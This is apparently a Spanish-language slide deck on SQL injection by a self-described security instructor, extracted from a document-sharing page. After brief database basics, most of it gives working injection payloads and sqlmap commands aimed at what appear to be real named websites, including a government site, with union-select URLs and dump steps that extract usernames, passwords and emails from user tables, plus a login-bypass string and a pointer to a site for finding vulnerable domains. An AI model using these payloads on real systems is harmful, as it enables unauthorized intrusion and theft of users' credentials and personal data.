Está en la página 1de 51

SQL INJECTION

Edgard Tamariz Vizueta


Professional Security Researcher & C|EI Instructor EH
edgardtv@gmail
Móvil. 995731050
“Si te conoces a ti mismo y conoces a tu
enemigo, entonces no deberás temer el
resultado de mil batallas”

Sun-Tzu, El Arte de la Guerra


La Información

La Información es Conocimiento, el Conocimiento es Poder…


Triángulo de la información & de la Seguridad de la Información

FUNCIONALIDAD
CONFIDENCIALIDAD

INFORMACIÓN
INFORMACIÓN

USABILIDAD SEGURIDAD
INTEGRIDAD DISPONIBILIDAD
Introducción
 Esperamos Computadoras y servicios optimos
 Los servicios utilizan Hardware y Capas sobre
capas de Software.
 Interfaz grafica de usuarios a través de un solo
click.
 En cualquier lugar de esas capas de software
pueden existir errores, donde el software no
hace lo que los autores querían, o lo que el
usuario esperaba.
 Estos errores puede afectar la confidencialidad,
intebridad o disponibilidad de la información{on
procesada, almacenada o transmitida.
 Se suele mitigar estos riesgos con mecanismos de
seguridad perimetral como Firewalls, IDS, WAF,
entre otros, pero…
Se está atendiendo el problema ulterior?
Programación
 La programación informática, es el proceso de diseñar,
codificar, depurar y mantener el código fuente de programas
computacionaleses escrito en un lenguaje de programación
determinado.
 El propósito de la programación es crear programas que
exhiban un comportamiento deseado.
 La programación segura es una rama de la programación
que estudia la seguridad del código y lógica desarrollada de
un software con el objetivo de evitar errores, evitando
 Desbordamientos de pilas
 Inadecuada estructura de datos
 Falta de Control de flujo de datos
 Uso de software base vulnerables.
 No utilizar cirptografía, entre otros.
Databases

S.Q.L.
(Structured Query Languaje)
Bases de Datos
Repositorio de datos que mantiene una estructura organizada.
Permite mostrar diferentes vistas de su contenido, y puede ser consultada y manipulada a la vez.

•ORACLE TABLA EMPLEADOS


•MYSQL
•INFORMIX BASE DE DATOS Columnas : atributos, campos
•ACCESS
•DB2
•MS SQL SERVER TABLA PAD01
•etc
Rownum dni nombres apellidos teléfono
rowid,
etc

Esquema de BD Esquema de BD 1 987654 Edgard Tamariz 123-4567


Personal Logística Filas : 32
registros 2 012345 James Hetfield 453-5687
67

•Aplicaciones Web
•Cliente Servidor
Estructura Fisica de Bases de Datos

INSTANCIA
SHARED POOL BUFFER CACHE REDO LOG
Control Files: Lista de archivos de
operaciones de la BD inclusive
Shared SQL montaje y recuperaciones de
datos.

Data Files: Oracle almacena los


Data Dictionary datos en uno o mas datafiles
que almacenan físicamente los
datos de las estructuras lógicas
de la BD

Redo Files: Almacenan datos de


BASE DE DATOS todas las transacciones
realizadas con el propósito de
Control Files Data Files Redo Files
recuperación si fuera necesario
Diseño de una Base de Datos

Modelo
Entidad-Relación

Entidades y Atibutos
Las entidades son todos sujetos u objetos que juegan
Base de Métodos algún papel relevante en el sistema.
datos relacionales Cada entidad tiene características (atributos) propias,
que nos permitirán describir individualmente a cada uno
de los miembros pertenecientes a ella.
Es importante determinar una característica propia por
cada uno de ellos (registros) y para ello empleamos un
atributo de identificación.
Base de PERSONAL

Datos PRODUCTOS PERSONAL Nombres


Apellidos
Relacional Fecha Nac.
Telefono
Dni
SUCURSALES CARGO Nsa

Comandos Basicos SQL
Connect esquema/password@base_datos

Select dni, nombres from personal where dni = ‘09683336’

Select : Selecciona atributos


From : De la Tabla deseada
where : Condición a cumplir
Union : Une query anterior con el siguiente
Like : Sentencia de comparación exclusiva para datos
alfanuméricos

Rownum, rowid, etc identificador de nro. de registro (atributo


oculto)
Select * from tab (Donde Tab es una tabla de oracle que
almacena las tablas creadas por el usuario)
SQL INJECTION – Formularios
Ingresos, actualizaciones o consultas de datos
SQL INJECTION

Structured Query
Languaje
SQL INJECTION – Vulnerabilidad en Websites
Vulnerabilidad encontrada por deducción
Reemplazando valor designado de variable por un valor improbable.

Empleando herramientas
•SQLMAP
Muestra Esquemas,tablas y atributos o campos
48-85-100
SQL INJECTION – Accesando a B.D.

http://www.cinemark-peru.com/detalle_proxestrenos.php?id= (URL de Wwebsite)


-85 (Valor improbable asignado)
+ (Reemplaza espacios en blanco para url)
union+ (Comando de union de queries)
select+1,1,1,nombres,apellidos,email,telefono,direccion,login,1,1,1,1,1+ (Selección de atributos incluyendo valores
constantes:1)
from+usuario+ (Selección de Tabla determinada por SQLMAP)
Ataques a Bases de Datos

connect esquema/password@base_datos
connect logistica/logistica@base_datos
Nombre de tablas:
Usuarios
Personal
Rownu dni nombres apellidos teléfono
Empleados
m
rowid,
Nombre de campos: etc
Dni 1 09683336 Edgard Tamariz 123-4567
Codigo 2 10678685 James Hetfield 453-5687
Nombres …
Apellidos
Etc..
Ataques a Bases de Datos – CASO 1
Ataques a Bases de Datos

' or '1'='1

' or '1'='1

“SELECT * FROM Usuarios WHERE Usuario=’pepito’ AND


Password=’M1_Cl@v3_R0bus7a’”

“SELECT * FROM Usuarios WHERE Usuario=’pepito’ or '1'='1 AND


Password=’M1_Cl@v3_R0bus7a’ or '1'='1 ”
Ataques a Bases de Datos – CASO 2
Ataques a Bases de Datos – CASO 3
Ataques a Bases de Datos – CASO 4
Forzando a un error
BLIND SQL INJECTION
BLIND SQL INJECTION - Vulnerabilidad en Websites

Vulnerabilidad encontrada por deducción


Reemplazando valor designado de variable por un valor improbable
para concocer el BD empleada.
BLIND SQL INJECTION – Tabla Auxiliar del Sistema (DB.Oracle)

TABLA TAB
Rownum Tname

1 Usuarios

2 Cotizaciones


SQL INJECTION – Sql Comandos Basicos

Select tname from tab where rownum = 1

Select : Selecciona atributos


From : De la tabla deseada
where : Condición a cumplir

LENGTH : Función que devuelve longitud de cadena


SUBSTR : Función que extrae una cantidad de caracteres
especificados de una cadena.

Rownum, rowid, etc como atributo oculto


SQL INJECTION – Obteniendo Longitud de caracteres de una Tabla

http://www.devida.gob.pe/Nota_Prensa_Detalle.asp?Nota_Prensa= (Url)
485’ (Valor improbable)
+AND+(SELECT LENGTH(TNAME) (para obtener el tamaño del atributo TNAME)
FROM TAB (de la Tabla auxiliar TAB)
WHERE ROWNUM=1) (Cuando el registro sea el primero)
=13-- (Y que esa longitud obtenida sea >, < o = al tamaño de
prueba)
SQL INJECTION – Obteniendo el nombre de una Tabla

http://www.devida.gob.pe/Nota_Prensa_Detalle.asp?Nota_Prensa=485’ (URL)
+AND+(SELECT SUBSTR(TNAME,2,1) (Substraemos un carácter por cada
ubicación del nombre de la tabla)
FROM TAB (De la Tabla TAB)
WHERE ROWNUM=1) (Cuando el registro sea el primero)
=‘D’-- (Y este carácter sea igual a la letra de prueba)
PRUEBA DE CONCEPTO

' or '1'='1

' or '1'='1

“SELECT * FROM Usuarios WHERE Usuario=’Admin’ AND


Clave=‘P@$$W0rd_2017’”

“SELECT * FROM Usuarios WHERE Usuario=‘Admin’ or '1'='1 AND


Clave=‘’ ’P@$$W0rd_2017’ or '1'='1”
https://www.punkspider.org/
Puedes buscar un dominio especifico o cualquiera por la extension, ejm .com.pe tipo
navegador google.
PRUEBAS DE CONCEPTO
Realizando la prueba del concepto…

http://www.creadorescolombianos.com/libros/libros.php?id=1
Forzando a un error

http://www.creadorescolombianos.com/libros/libros.php?id=1x
OBTENIENDO ESQUEMAS DE BASE DE DATOS.

sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -- dbs
OBTENIENDO TABLAS DE ESQUEMA DE BASE DE DATOS.

sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -D creadmin_database --tables
OBTENIENDO ATRIBUTOS DE TABLA SELECCIONADA

sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -D creadmin_database -T usuarios --columns
OBTENIENDO REGISTROS DE ATRIBUTOS ELEGIDOS

sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -D creadmin_database -T usuarios -C username --dump
_
OBTENIENDO REGISTROS DE ATRIBUTOS PASSWORD DE TABLA
USUARIOS

sqlmap.py -u http://www.creadorescolombianos.com/libros/libros.php?id=
1 -D creadmin_database -T usuarios -C password --dump
Realizando la prueba del concepto…

http://www.creadorescolombianos.com/libros/libros.php?id=1
http://www.creadorescolombianos.com/libros/libros.php?id=-1+
union+select+1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,1
6+
from+usuarios
http://www.creadorescolombianos.com/libros/libros.php?id=-1+
union+select+2,2,username,password,2,2,2,2,2,2,2,2,2,2,2,2+
from+usuarios
http://www.creadorescolombianos.com/
libros/libros.php?id=-1+
union+select+2,2,username,password,
2,2,2,2,2,2,2,2,2,2,2,2+from+usuarios+where+id=2
Tenga cuidado con honey-pots mostrados como webs vulnerables…
Para evitar esto emplee un navegador actualizado.

También podría gustarte